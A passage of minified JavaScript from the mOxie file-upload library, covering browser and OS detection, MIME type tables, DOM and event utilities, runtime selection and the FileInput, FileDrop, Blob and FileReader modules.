6.3",RT:"ARM"}}}}).browser.oldsafari.version]],[/(konqueror)\/([\w\.]+)/i,/(webkit|khtml)\/([\w\.]+)/i],[a,c],[/(navigator|netscape)\/([\w\.-]+)/i],[[a,"Netscape"],c],[/(swiftfox)/i,/(icedragon|iceweasel|camino|chimera|fennec|maemo\sbrowser|minimo|conkeror)[\/\s]?([\w\.\+]+)/i,/(firefox|seamonkey|k-meleon|icecat|iceape|firebird|phoenix)\/([\w\.-]+)/i,/(mozilla)\/([\w\.]+).+rv\:.+gecko\/\d+/i,/(polaris|lynx|dillo|icab|doris|amaya|w3m|netsurf)[\/\s]?([\w\.]+)/i,/(links)\s\(([\w\.]+)/i,/(gobrowser)\/?([\w\.]+)*/i,/(ice\s?browser)\/v?([\w\._]+)/i,/(mosaic)[\/\s]([\w\.]+)/i],[a,c]],engine:[[/windows.+\sedge\/([\w\.]+)/i],[c,[a,"EdgeHTML"]],[/(presto)\/([\w\.]+)/i,/(webkit|trident|netfront|netsurf|amaya|lynx|w3m)\/([\w\.]+)/i,/(khtml|tasman|links)[\/\s]\(?([\w\.]+)/i,/(icab)[\/\s]([23]\.[\d\.]+)/i],[a,c],[/rv\:([\w\.]+).*(gecko)/i],[c,a]],os:[[/microsoft\s(windows)\s(vista|xp)/i],[a,c],[/(windows)\snt\s6\.2;\s(arm)/i,/(windows\sphone(?:\sos)*|windows\smobile|windows)[\s\/]?([ntce\d\.\s]+\w)/i],[a,[c,i.str,e.os.windows.version]],[/(win(?=3|9|n)|win\s9x\s)([nt\d\.]+)/i],[[a,"Windows"],[c,i.str,e.os.windows.version]],[/\((bb)(10);/i],[[a,"BlackBerry"],c],[/(blackberry)\w*\/?([\w\.]+)*/i,/(tizen)[\/\s]([\w\.]+)/i,/(android|webos|palm\os|qnx|bada|rim\stablet\sos|meego|contiki)[\/\s-]?([\w\.]+)*/i,/linux;.+(sailfish);/i],[a,c],[/(symbian\s?os|symbos|s60(?=;))[\/\s-]?([\w\.]+)*/i],[[a,"Symbian"],c],[/\((series40);/i],[a],[/mozilla.+\(mobile;.+gecko.+firefox/i],[[a,"Firefox OS"],c],[/(nintendo|playstation)\s([wids3portablevu]+)/i,/(mint)[\/\s\(]?(\w+)*/i,/(mageia|vectorlinux)[;\s]/i,/(joli|[kxln]?ubuntu|debian|[open]*suse|gentoo|arch|slackware|fedora|mandriva|centos|pclinuxos|redhat|zenwalk|linpus)[\/\s-]?([\w\.-]+)*/i,/(hurd|linux)\s?([\w\.]+)*/i,/(gnu)\s?([\w\.]+)*/i],[a,c],[/(cros)\s[\w]+\s([\w\.]+\w)/i],[[a,"Chromium OS"],c],[/(sunos)\s?([\w\.]+\d)*/i],[[a,"Solaris"],c],[/\s([frentopc-]{0,4}bsd|dragonfly)\s?([\w\.]+)*/i],[a,c],[/(ip[honead]+)(?:.*os\s*([\w]+)*\slike\smac|;\sopera)/i],[[a,"iOS"],[c,/_/g,"."]],[/(mac\sos\sx)\s?([\w\s\.]+\w)*/i,/(macintosh|mac(?=_powerpc)\s)/i],[[a,"Mac OS"],[c,/_/g,"."]],[/((?:open)?solaris)[\/\s-]?([\w\.]+)*/i,/(haiku)\s(\w+)/i,/(aix)\s((\d)(?=\.|\)|\s)[\w\.]*)*/i,/(plan\s9|minix|beos|os\/2|amigaos|morphos|risc\sos|openvms)/i,/(unix)\s?([\w\.]+)*/i],[a,c]]};var d,m,h,r,i,o,e=function(e){var t=e||(window&&window.navigator&&window.navigator.userAgent?window.navigator.userAgent:"");this.getBrowser=function(){return i.rgx.apply(this,o.browser)},this.getEngine=function(){return i.rgx.apply(this,o.engine)},this.getOS=function(){return i.rgx.apply(this,o.os)},this.getResult=function(){return{ua:this.getUA(),browser:this.getBrowser(),engine:this.getEngine(),os:this.getOS()}},this.getUA=function(){return t},this.setUA=function(e){return t=e,this},this.setUA(t)};function t(e){var t=[].slice.call(arguments);return t.shift(),"function"===n.typeOf(u[e])?u[e].apply(this,t):!!u[e]}u={define_property:!1,create_canvas:!(!(a=document.createElement("canvas")).getContext||!a.getContext("2d")),return_response_type:function(e){try{if(-1!==n.inArray(e,["","text","document"]))return!0;if(window.XMLHttpRequest){var t=new XMLHttpRequest;if(t.open("get","/"),"responseType"in t)return t.responseType=e,t.responseType===e}}catch(e){}return!1},use_data_uri:((s=new Image).onload=function(){u.use_data_uri=1===s.width&&1===s.height},setTimeout(function(){s.src="data:image/gif;base64,R0lGODlhAQABAIAAAP8AAAAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw=="},1),!1),use_data_uri_over32kb:function(){return u.use_data_uri&&("IE"!==l.browser||9<=l.version)},use_data_uri_of:function(e){return u.use_data_uri&&e<33e3||u.use_data_uri_over32kb()},use_fileinput:function(){var e;return!navigator.userAgent.match(/(Android (1.0|1.1|1.5|1.6|2.0|2.1))|(Windows Phone (OS 7|8.0))|(XBLWP)|(ZuneWP)|(w(eb)?OSBrowser)|(webOS)|(Kindle\/(1.0|2.0|2.5|3.0))/)&&((e=document.createElement("input")).setAttribute("type","file"),!e.disabled)}};var s,a,u,c=(new e).getResult(),l={can:t,uaParser:e,browser:c.browser.name,version:c.browser.version,os:c.os.name,osVersion:c.os.version,verComp:function(e,t,i){function n(e){return(e=(e=(""+e).replace(/[_\-+]/g,".")).replace(/([^.\d]+)/g,".$1.").replace(/\.{2,}/g,".")).length?e.split("."):[-8]}function r(e){return e?isNaN(e)?u[e]||-7:parseInt(e,10):0}var o,s=0,a=0,u={dev:-6,alpha:-5,a:-5,beta:-4,b:-4,RC:-3,rc:-3,"#":-2,p:1,pl:1};for(e=n(e),t=n(t),o=Math.max(e.length,t.length),s=0;s<o;s++)if(e[s]!=t[s]){if(e[s]=r(e[s]),t[s]=r(t[s]),e[s]<t[s]){a=-1;break}if(e[s]>t[s]){a=1;break}}if(!i)return a;switch(i){case">":case"gt":return 0<a;case">=":case"ge":return 0<=a;case"<=":case"le":return a<=0;case"==":case"=":case"eq":return 0===a;case"<>":case"!=":case"ne":return 0!==a;case"":case"<":case"lt":return a<0;default:return null}},global_event_dispatcher:"moxie.core.EventTarget.instance.dispatchEvent"};return l.OS=l.os,MXI_DEBUG&&(l.debug={runtime:!0,events:!1},l.log=function(){var e,t,i=arguments[0];"string"===n.typeOf(i)&&(i=n.sprintf.apply(this,arguments)),window&&window.console&&window.console.log?window.console.log(i):document&&((e=document.getElementById("moxie-console"))||((e=document.createElement("pre")).id="moxie-console",document.body.appendChild(e)),-1!==n.inArray(n.typeOf(i),["object","array"])?(t=i,e.appendChild(document.createTextNode(t+"\n"))):e.appendChild(document.createTextNode(i+"\n")))}),l}),e("moxie/core/I18n",["moxie/core/utils/Basic"],function(i){var t={};return{addI18n:function(e){return i.extend(t,e)},translate:function(e){return t[e]||e},_:function(e){return this.translate(e)},sprintf:function(e){var t=[].slice.call(arguments,1);return e.replace(/%[a-z]/g,function(){var e=t.shift();return"undefined"!==i.typeOf(e)?e:""})}}}),e("moxie/core/utils/Mime",["moxie/core/utils/Basic","moxie/core/I18n"],function(a,n){var e={mimes:{},extensions:{},addMimeType:function(e){for(var t,i,n=e.split(/,/),r=0;r<n.length;r+=2){for(i=n[r+1].split(/ /),t=0;t<i.length;t++)this.mimes[i[t]]=n[r];this.extensions[n[r]]=i}},extList2mimes:function(e,t){for(var i,n,r,o=[],s=0;s<e.length;s++)for(i=e[s].extensions.split(/\s*,\s*/),n=0;n<i.length;n++){if("*"===i[n])return[];if((r=this.mimes[i[n]])&&-1===a.inArray(r,o)&&o.push(r),t&&/^\w+$/.test(i[n]))o.push("."+i[n]);else if(!r)return[]}return o},mimes2exts:function(e){var n=this,r=[];return a.each(e,function(e){if("*"===e)return!(r=[]);var i=e.match(/^(\w+)\/(\*|\w+)$/);i&&("*"===i[2]?a.each(n.extensions,function(e,t){new RegExp("^"+i[1]+"/").test(t)&&[].push.apply(r,n.extensions[t])}):n.extensions[e]&&[].push.apply(r,n.extensions[e]))}),r},mimes2extList:function(e){var t=[],i=[];return"string"===a.typeOf(e)&&(e=a.trim(e).split(/\s*,\s*/)),i=this.mimes2exts(e),t.push({title:n.translate("Files"),extensions:i.length?i.join(","):"*"}),t.mimes=e,t},getFileExtension:function(e){e=e&&e.match(/\.([^.]+)$/);return e?e[1].toLowerCase():""},getFileMime:function(e){return this.mimes[this.getFileExtension(e)]||""}};return e.addMimeType("application/msword,doc dot,application/pdf,pdf,application/pgp-signature,pgp,application/postscript,ps ai eps,application/rtf,rtf,application/vnd.ms-excel,xls xlb,application/vnd.ms-powerpoint,ppt pps pot,application/zip,zip,application/x-shockwave-flash,swf swfl,application/vnd.openxmlformats-officedocument.wordprocessingml.document,docx,application/vnd.openxmlformats-officedocument.wordprocessingml.template,dotx,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,xlsx,application/vnd.openxmlformats-officedocument.presentationml.presentation,pptx,application/vnd.openxmlformats-officedocument.presentationml.template,potx,application/vnd.openxmlformats-officedocument.presentationml.slideshow,ppsx,application/x-javascript,js,application/json,json,audio/mpeg,mp3 mpga mpega mp2,audio/x-wav,wav,audio/x-m4a,m4a,audio/ogg,oga ogg,audio/aiff,aiff aif,audio/flac,flac,audio/aac,aac,audio/ac3,ac3,audio/x-ms-wma,wma,image/bmp,bmp,image/gif,gif,image/jpeg,jpg jpeg jpe,image/photoshop,psd,image/png,png,image/svg+xml,svg svgz,image/tiff,tiff tif,text/plain,asc txt text diff log,text/html,htm html xhtml,text/css,css,text/csv,csv,text/rtf,rtf,video/mpeg,mpeg mpg mpe m2v,video/quicktime,qt mov,video/mp4,mp4,video/x-m4v,m4v,video/x-flv,flv,video/x-ms-wmv,wmv,video/avi,avi,video/webm,webm,video/3gpp,3gpp 3gp,video/3gpp2,3g2,video/vnd.rn-realvideo,rv,video/ogg,ogv,video/x-matroska,mkv,application/vnd.oasis.opendocument.formula-template,otf,application/octet-stream,exe"),e}),e("moxie/core/utils/Dom",["moxie/core/utils/Env"],function(c){function i(e,t){return!!e.className&&new RegExp("(^|\\s+)"+t+"(\\s+|$)").test(e.className)}return{get:function(e){return"string"!=typeof e?e:document.getElementById(e)},hasClass:i,addClass:function(e,t){i(e,t)||(e.className=e.className?e.className.replace(/\s+$/,"")+" "+t:t)},removeClass:function(e,t){e.className&&(t=new RegExp("(^|\\s+)"+t+"(\\s+|$)"),e.className=e.className.replace(t,function(e,t,i){return" "===t&&" "===i?" ":""}))},getStyle:function(e,t){return e.currentStyle?e.currentStyle[t]:window.getComputedStyle?window.getComputedStyle(e,null)[t]:void 0},getPos:function(e,t){var i,n,r,o=0,s=0,a=document;function u(e){var t,i=0,n=0;return e&&(e=e.getBoundingClientRect(),t="CSS1Compat"===a.compatMode?a.documentElement:a.body,i=e.left+t.scrollLeft,n=e.top+t.scrollTop),{x:i,y:n}}if(t=t||a.body,e&&e.getBoundingClientRect&&"IE"===c.browser&&(!a.documentMode||a.documentMode<8))return n=u(e),r=u(t),{x:n.x-r.x,y:n.y-r.y};for(i=e;i&&i!=t&&i.nodeType;)o+=i.offsetLeft||0,s+=i.offsetTop||0,i=i.offsetParent;for(i=e.parentNode;i&&i!=t&&i.nodeType;)o-=i.scrollLeft||0,s-=i.scrollTop||0,i=i.parentNode;return{x:o,y:s}},getSize:function(e){return{w:e.offsetWidth||e.clientWidth,h:e.offsetHeight||e.clientHeight}}}}),e("moxie/core/Exceptions",["moxie/core/utils/Basic"],function(e){function t(e,t){for(var i in e)if(e[i]===t)return i;return null}return{RuntimeError:(a={NOT_INIT_ERR:1,NOT_SUPPORTED_ERR:9,JS_ERR:4},e.extend(d,a),d.prototype=Error.prototype,d),OperationNotAllowedException:(e.extend(l,{NOT_ALLOWED_ERR:1}),l.prototype=Error.prototype,l),ImageError:(s={WRONG_FORMAT:1,MAX_RESOLUTION_ERR:2,INVALID_META_ERR:3},e.extend(c,s),c.prototype=Error.prototype,c),FileException:(o={NOT_FOUND_ERR:1,SECURITY_ERR:2,ABORT_ERR:3,NOT_READABLE_ERR:4,ENCODING_ERR:5,NO_MODIFICATION_ALLOWED_ERR:6,INVALID_STATE_ERR:7,SYNTAX_ERR:8},e.extend(u,o),u.prototype=Error.prototype,u),DOMException:(r={INDEX_SIZE_ERR:1,DOMSTRING_SIZE_ERR:2,HIERARCHY_REQUEST_ERR:3,WRONG_DOCUMENT_ERR:4,INVALID_CHARACTER_ERR:5,NO_DATA_ALLOWED_ERR:6,NO_MODIFICATION_ALLOWED_ERR:7,NOT_FOUND_ERR:8,NOT_SUPPORTED_ERR:9,INUSE_ATTRIBUTE_ERR:10,INVALID_STATE_ERR:11,SYNTAX_ERR:12,INVALID_MODIFICATION_ERR:13,NAMESPACE_ERR:14,INVALID_ACCESS_ERR:15,VALIDATION_ERR:16,TYPE_MISMATCH_ERR:17,SECURITY_ERR:18,NETWORK_ERR:19,ABORT_ERR:20,URL_MISMATCH_ERR:21,QUOTA_EXCEEDED_ERR:22,TIMEOUT_ERR:23,INVALID_NODE_TYPE_ERR:24,DATA_CLONE_ERR:25},e.extend(n,r),n.prototype=Error.prototype,n),EventException:(e.extend(i,{UNSPECIFIED_EVENT_TYPE_ERR:0}),i.prototype=Error.prototype,i)};function i(e){this.code=e,this.name="EventException"}function n(e){this.code=e,this.name=t(r,e),this.message=this.name+": DOMException "+this.code}var r,o,s,a;function u(e){this.code=e,this.name=t(o,e),this.message=this.name+": FileException "+this.code}function c(e){this.code=e,this.name=t(s,e),this.message=this.name+": ImageError "+this.code}function l(e){this.code=e,this.name="OperationNotAllowedException"}function d(e){this.code=e,this.name=t(a,e),this.message=this.name+": RuntimeError "+this.code}}),e("moxie/core/EventTarget",["moxie/core/utils/Env","moxie/core/Exceptions","moxie/core/utils/Basic"],function(c,l,d){function e(){var u={};d.extend(this,{uid:null,init:function(){this.uid||(this.uid=d.guid("uid_"))},addEventListener:function(e,t,i,n){var r,o=this;this.hasOwnProperty("uid")||(this.uid=d.guid("uid_")),e=d.trim(e),/\s/.test(e)?d.each(e.split(/\s+/),function(e){o.addEventListener(e,t,i,n)}):(e=e.toLowerCase(),i=parseInt(i,10)||0,(r=u[this.uid]&&u[this.uid][e]||[]).push({fn:t,priority:i,scope:n||this}),u[this.uid]||(u[this.uid]={}),u[this.uid][e]=r)},hasEventListener:function(e){e=e?u[this.uid]&&u[this.uid][e]:u[this.uid];return e||!1},removeEventListener:function(e,t){e=e.toLowerCase();var i,n=u[this.uid]&&u[this.uid][e];if(n){if(t){for(i=n.length-1;0<=i;i--)if(n[i].fn===t){n.splice(i,1);break}}else n=[];n.length||(delete u[this.uid][e],d.isEmptyObj(u[this.uid])&&delete u[this.uid])}},removeAllEventListeners:function(){u[this.uid]&&delete u[this.uid]},dispatchEvent:function(e){var t,i,n,r,o,s={},a=!0;if("string"!==d.typeOf(e)){if(r=e,"string"!==d.typeOf(r.type))throw new l.EventException(l.EventException.UNSPECIFIED_EVENT_TYPE_ERR);e=r.type,void 0!==r.total&&void 0!==r.loaded&&(s.total=r.total,s.loaded=r.loaded),s.async=r.async||!1}return-1!==e.indexOf("::")?(r=e.split("::"),t=r[0],e=r[1]):t=this.uid,e=e.toLowerCase(),(i=u[t]&&u[t][e])&&(i.sort(function(e,t){return t.priority-e.priority}),(n=[].slice.call(arguments)).shift(),s.type=e,n.unshift(s),MXI_DEBUG&&c.debug.events&&c.log("Event '%s' fired on %u",s.type,t),o=[],d.each(i,function(t){n[0].target=t.scope,o.push(s.async?function(e){setTimeout(function(){e(!1===t.fn.apply(t.scope,n))},1)}:function(e){e(!1===t.fn.apply(t.scope,n))})}),o.length)&&d.inSeries(o,function(e){a=!e}),a},bind:function(){this.addEventListener.apply(this,arguments)},unbind:function(){this.removeEventListener.apply(this,arguments)},unbindAll:function(){this.removeAllEventListeners.apply(this,arguments)},trigger:function(){return this.dispatchEvent.apply(this,arguments)},handleEventProps:function(e){var t=this;this.bind(e.join(" "),function(e){e="on"+e.type.toLowerCase();"function"===d.typeOf(this[e])&&this[e].apply(this,arguments)}),d.each(e,function(e){e="on"+e.toLowerCase(e),"undefined"===d.typeOf(t[e])&&(t[e]=null)})}})}return e.instance=new e,e}),e("moxie/runtime/Runtime",["moxie/core/utils/Env","moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/EventTarget"],function(c,l,d,i){var n={},m={};function h(e,t,r,i,n){var o,s,a=this,u=l.guid(t+"_"),n=n||"browser";e=e||{},m[u]=this,r=l.extend({access_binary:!1,access_image_binary:!1,display_media:!1,do_cors:!1,drag_and_drop:!1,filter_by_extension:!0,resize_image:!1,report_upload_progress:!1,return_response_headers:!1,return_response_type:!1,return_status_code:!0,send_custom_headers:!1,select_file:!1,select_folder:!1,select_multiple:!0,send_binary_string:!1,send_browser_cookies:!0,send_multipart:!0,slice_blob:!1,stream_upload:!1,summon_file_dialog:!1,upload_filesize:!0,use_http_method:!0},r),e.preferred_caps&&(n=h.getMode(i,e.preferred_caps,n)),MXI_DEBUG&&c.debug.runtime&&c.log("\tdefault mode: %s",n),s={},o={exec:function(e,t,i,n){if(o[t]&&(s[e]||(s[e]={context:this,instance:new o[t]}),s[e].instance[i]))return s[e].instance[i].apply(this,n)},removeInstance:function(e){delete s[e]},removeAllInstances:function(){var i=this;l.each(s,function(e,t){"function"===l.typeOf(e.instance.destroy)&&e.instance.destroy.call(e.context),i.removeInstance(t)})}},l.extend(this,{initialized:!1,uid:u,type:t,mode:h.getMode(i,e.required_caps,n),shimid:u+"_container",clients:0,options:e,can:function(e,t){var i,n=arguments[2]||r;if("string"===l.typeOf(e)&&"undefined"===l.typeOf(t)&&(e=h.parseCaps(e)),"object"!==l.typeOf(e))return"function"===l.typeOf(n[e])?n[e].call(this,t):t===n[e];for(i in e)if(!this.can(i,e[i],n))return!1;return!0},getShimContainer:function(){var e,t=d.get(this.shimid);return t||(e=this.options.container?d.get(this.options.container):document.body,(t=document.createElement("div")).id=this.shimid,t.className="moxie-shim moxie-shim-"+this.type,l.extend(t.style,{position:"absolute",top:"0px",left:"0px",width:"1px",height:"1px",overflow:"hidden"}),e.appendChild(t),e=null),t},getShim:function(){return o},shimExec:function(e,t){var i=[].slice.call(arguments,2);return a.getShim().exec.call(this,this.uid,e,t,i)},exec:function(e,t){var i=[].slice.call(arguments,2);return a[e]&&a[e][t]?a[e][t].apply(this,i):a.shimExec.apply(this,arguments)},destroy:function(){var e;a&&((e=d.get(this.shimid))&&e.parentNode.removeChild(e),o&&o.removeAllInstances(),this.unbindAll(),delete m[this.uid],this.uid=null,a=o=null)}}),this.mode&&e.required_caps&&!this.can(e.required_caps)&&(this.mode=!1)}return h.order="html5,html4",h.getRuntime=function(e){return m[e]||!1},h.addConstructor=function(e,t){t.prototype=i.instance,n[e]=t},h.getConstructor=function(e){return n[e]||null},h.getInfo=function(e){var t=h.getRuntime(e);return t?{uid:t.uid,type:t.type,mode:t.mode,can:function(){return t.can.apply(t,arguments)}}:null},h.parseCaps=function(e){var t={};return"string"!==l.typeOf(e)?e||{}:(l.each(e.split(","),function(e){t[e]=!0}),t)},h.can=function(e,t){var e=h.getConstructor(e);return!!e&&(t=(e=new e({required_caps:t})).mode,e.destroy(),!!t)},h.thatCan=function(e,t){var i,n=(t||h.order).split(/\s*,\s*/);for(i in n)if(h.can(n[i],e))return n[i];return null},h.getMode=function(n,e,t){var r=null;if("undefined"===l.typeOf(t)&&(t="browser"),e&&!l.isEmptyObj(n)){if(l.each(e,function(e,t){if(n.hasOwnProperty(t)){var i=n[t](e);if("string"==typeof i&&(i=[i]),r){if(!(r=l.arrayIntersect(r,i)))return MXI_DEBUG&&c.debug.runtime&&c.log("\t\t%c: %v (conflicting mode requested: %s)",t,e,i),r=!1}else r=i}MXI_DEBUG&&c.debug.runtime&&c.log("\t\t%c: %v (compatible modes: %s)",t,e,r)}),r)return-1!==l.inArray(t,r)?t:r[0];if(!1===r)return!1}return t},h.capTrue=function(){return!0},h.capFalse=function(){return!1},h.capTest=function(e){return function(){return!!e}},h}),e("moxie/runtime/RuntimeClient",["moxie/core/utils/Env","moxie/core/Exceptions","moxie/core/utils/Basic","moxie/runtime/Runtime"],function(a,u,t,c){return function(){var s;t.extend(this,{connectRuntime:function(r){var e,o=this;if("string"===t.typeOf(r)?e=r:"string"===t.typeOf(r.ruid)&&(e=r.ruid),e){if(s=c.getRuntime(e))return s.clients++,s;throw new u.RuntimeError(u.RuntimeError.NOT_INIT_ERR)}!function e(t){var i,n;t.length?(i=t.shift().toLowerCase(),(n=c.getConstructor(i))?(MXI_DEBUG&&a.debug.runtime&&(a.log("Trying runtime: %s",i),a.log(r)),(s=new n(r)).bind("Init",function(){s.initialized=!0,MXI_DEBUG&&a.debug.runtime&&a.log("Runtime '%s' initialized",s.type),setTimeout(function(){s.clients++,o.trigger("RuntimeInit",s)},1)}),s.bind("Error",function(){MXI_DEBUG&&a.debug.runtime&&a.log("Runtime '%s' failed to initialize",s.type),s.destroy(),e(t)}),MXI_DEBUG&&a.debug.runtime&&a.log("\tselected mode: %s",s.mode),s.mode?s.init():s.trigger("Error")):e(t)):(o.trigger("RuntimeError",new u.RuntimeError(u.RuntimeError.NOT_INIT_ERR)),s=null)}((r.runtime_order||c.order).split(/\s*,\s*/))},disconnectRuntime:function(){s&&--s.clients<=0&&s.destroy(),s=null},getRuntime:function(){return s&&s.uid?s:s=null},exec:function(){return s?s.exec.apply(this,arguments):null}})}}),e("moxie/file/FileInput",["moxie/core/utils/Basic","moxie/core/utils/Env","moxie/core/utils/Mime","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/core/EventTarget","moxie/core/I18n","moxie/runtime/Runtime","moxie/runtime/RuntimeClient"],function(o,i,n,s,a,e,u,c,l){var d=["ready","change","cancel","mouseenter","mouseleave","mousedown","mouseup"];function t(r){MXI_DEBUG&&i.log("Instantiating FileInput...");var e,t=this;if(-1!==o.inArray(o.typeOf(r),["string","node"])&&(r={browse_button:r}),!(e=s.get(r.browse_button)))throw new a.DOMException(a.DOMException.NOT_FOUND_ERR);e={accept:[{title:u.translate("All Files"),extensions:"*"}],name:"file",multiple:!1,required_caps:!1,container:e.parentNode||document.body},"string"==typeof(r=o.extend({},e,r)).required_caps&&(r.required_caps=c.parseCaps(r.required_caps)),"string"==typeof r.accept&&(r.accept=n.mimes2extList(r.accept)),e=(e=s.get(r.container))||document.body,"static"===s.getStyle(e,"position")&&(e.style.position="relative"),e=null,l.call(t),o.extend(t,{uid:o.guid("uid_"),ruid:null,shimid:null,files:null,init:function(){t.bind("RuntimeInit",function(e,n){t.ruid=n.uid,t.shimid=n.shimid,t.bind("Ready",function(){t.trigger("Refresh")},999),t.bind("Refresh",function(){var e,t=s.get(r.browse_button),i=s.get(n.shimid);t&&(e=s.getPos(t,s.get(r.container)),t=s.getSize(t),i)&&o.extend(i.style,{top:e.y+"px",left:e.x+"px",width:t.w+"px",height:t.h+"px"})}),n.exec.call(t,"FileInput","init",r)}),t.connectRuntime(o.extend({},r,{required_caps:{select_file:!0}}))},disable:function(e){var t=this.getRuntime();t&&t.exec.call(this,"FileInput","disable","undefined"===o.typeOf(e)||e)},refresh:function(){t.trigger("Refresh")},destroy:function(){var e=this.getRuntime();e&&(e.exec.call(this,"FileInput","destroy"),this.disconnectRuntime()),"array"===o.typeOf(this.files)&&o.each(this.files,function(e){e.destroy()}),this.files=null,this.unbindAll()}}),this.handleEventProps(d)}return t.prototype=e.instance,t}),e("moxie/core/utils/Encode",[],function(){function d(e){return unescape(encodeURIComponent(e))}function m(e){return decodeURIComponent(escape(e))}return{utf8_encode:d,utf8_decode:m,atob:function(e,t){if("function"==typeof window.atob)return t?m(window.atob(e)):window.atob(e);var i,n,r,o,s,a,u="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",c=0,l=0,d=[];if(!e)return e;for(e+="";i=(s=u.indexOf(e.charAt(c++))<<18|u.indexOf(e.charAt(c++))<<12|(r=u.indexOf(e.charAt(c++)))<<6|(o=u.indexOf(e.charAt(c++))))>>16&255,n=s>>8&255,s=255&s,d[l++]=64==r?String.fromCharCode(i):64==o?String.fromCharCode(i,n):String.fromCharCode(i,n,s),c<e.length;);return a=d.join(""),t?m(a):a},btoa:function(e,t){if(t&&(e=d(e)),"function"==typeof window.btoa)return window.btoa(e);var i,n,r,o,s="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",a=0,u=0,t="",c=[];if(!e)return e;for(;i=(o=e.charCodeAt(a++)<<16|e.charCodeAt(a++)<<8|e.charCodeAt(a++))>>12&63,n=o>>6&63,r=63&o,c[u++]=s.charAt(o>>18&63)+s.charAt(i)+s.charAt(n)+s.charAt(r),a<e.length;);var t=c.join(""),l=e.length%3;return(l?t.slice(0,l-3):t)+"===".slice(l||3)}}}),e("moxie/file/Blob",["moxie/core/utils/Basic","moxie/core/utils/Encode","moxie/runtime/RuntimeClient"],function(o,i,n){var s={};return function r(e,t){n.call(this),e&&this.connectRuntime(e),t?"string"===o.typeOf(t)&&(t={data:t}):t={},o.extend(this,{uid:t.uid||o.guid("uid_"),ruid:e,size:t.size||0,type:t.type||"",slice:function(e,t,i){return this.isDetached()?function(e,t,i){var n=s[this.uid];return"string"===o.typeOf(n)&&n.length?((i=new r(null,{type:i,size:t-e})).detach(n.substr(e,i.size)),i):null}.apply(this,arguments):this.getRuntime().exec.call(this,"Blob","slice",this.getSource(),e,t,i)},getSource:function(){return s[this.uid]||null},detach:function(e){var t;this.ruid&&(this.getRuntime().exec.call(this,"Blob","destroy"),this.disconnectRuntime(),this.ruid=null),"data:"==(e=e||"").substr(0,5)&&(t=e.indexOf(";base64,"),this.type=e.substring(5,t),e=i.atob(e.substring(t+8))),this.size=e.length,s[this.uid]=e},isDetached:function(){return!this.ruid&&"string"===o.typeOf(s[this.uid])},destroy:function(){this.detach(),delete s[this.uid]}}),t.data?this.detach(t.data):s[this.uid]=t}}),e("moxie/file/File",["moxie/core/utils/Basic","moxie/core/utils/Mime","moxie/file/Blob"],function(r,o,s){function e(e,t){var i,n;t=t||{},s.apply(this,arguments),this.type||(this.type=o.getFileMime(t.name)),t.name?n=(n=t.name.replace(/\\/g,"/")).substr(n.lastIndexOf("/")+1):this.type&&(i=this.type.split("/")[0],n=r.guid((""!==i?i:"file")+"_"),o.extensions[this.type])&&(n+="."+o.extensions[this.type][0]),r.extend(this,{name:n||r.guid("file_"),relativePath:"",lastModifiedDate:t.lastModifiedDate||(new Date).toLocaleString()})}return e.prototype=s.prototype,e}),e("moxie/file/FileDrop",["moxie/core/I18n","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/core/utils/Basic","moxie/core/utils/Env","moxie/file/File","moxie/runtime/RuntimeClient","moxie/core/EventTarget","moxie/core/utils/Mime"],function(t,r,e,o,s,i,a,n,u){var c=["ready","dragenter","dragleave","drop","error"];function l(i){MXI_DEBUG&&s.log("Instantiating FileDrop...");var e,n=this;"string"==typeof i&&(i={drop_zone:i}),e={accept:[{title:t.translate("All Files"),extensions:"*"}],required_caps:{drag_and_drop:!0}},(i="object"==typeof i?o.extend({},e,i):e).container=r.get(i.drop_zone)||document.body,"static"===r.getStyle(i.container,"position")&&(i.container.style.position="relative"),"string"==typeof i.accept&&(i.accept=u.mimes2extList(i.accept)),a.call(n),o.extend(n,{uid:o.guid("uid_"),ruid:null,files:null,init:function(){n.bind("RuntimeInit",function(e,t){n.ruid=t.uid,t.exec.call(n,"FileDrop","init",i),n.dispatchEvent("ready")}),n.connectRuntime(i)},destroy:function(){var e=this.getRuntime();e&&(e.exec.call(this,"FileDrop","destroy"),this.disconnectRuntime()),this.files=null,this.unbindAll()}}),this.handleEventProps(c)}return l.prototype=n.instance,l}),e("moxie/file/FileReader",["moxie/core/utils/Basic","moxie/core/utils/Encode","moxie/core/Exceptions","moxie/core/EventTarget","moxie/file/Blob","moxie/runtime/RuntimeClient"],function(e,n,r,t,o,i){var s=["loadstart","progress","load","abort","error","loadend"];function a(){function t(e,t){if(this.trigger("loadstart"),this.readyState===a.LOADING)this.trigger("error",new r.DOMException(r.DOMException.INVALID_STATE_ERR)),this.trigger("loadend");else if(t instanceof o)if(this.result=null,this.readyState=a.LOADING,t.isDetached()){var i=t.getSource();switch(e){case"readAsText":case"readAsBinaryString":this.result=i;break;case"readAsDataURL":this.result="data:"+t.type+";base64,"+n.btoa(i)}this.readyState=a.DONE,this.trigger("load"),this.trigger("loadend")}else this.connectRuntime(t.ruid),this.exec("FileReader","read",e,t);else this.trigger("error",new r.DOMException(r.DOMException.NOT_FOUND_ERR)),this.trigger("loadend")}i.call(this),e.extend(this,{uid:e.guid("uid_"),readyState:a.EMPTY,result:null,error:null,readAsBinaryString:function(e){t.call(this,"readAsBinaryString",e)},readAsDataURL:function(e){t.call(this,"readAsDataURL",e)},readAsText:function(e){t.call(this,"readAsText",e)},abort:function(){this.result=null,-1===e.inArray(this.readyState,[a.EMPTY,a.DONE])&&(this.readyState===a.LOADING&&(this.readyState=a.DONE),this.exec("FileReader","abort"),this.trigger("abort"),this.trigger("loadend"))},destroy:function(){this.abort(),this.exec("FileReader","destroy"),this.disconnectRuntime(),this.unbindAll()}}),this.handleEventProps(s),this.bind("Error",function(e,t){this.readyState=a.DONE,this.error=t},999),this.bind("Load",function(e){this.readyState=a.DONE},999)}return a.EMPTY=0,a.LOADING=1,a.DONE=2,a.prototype=t.instance,a}),e("moxie/core/utils/Url",[],function(){function s(e,t){for(var 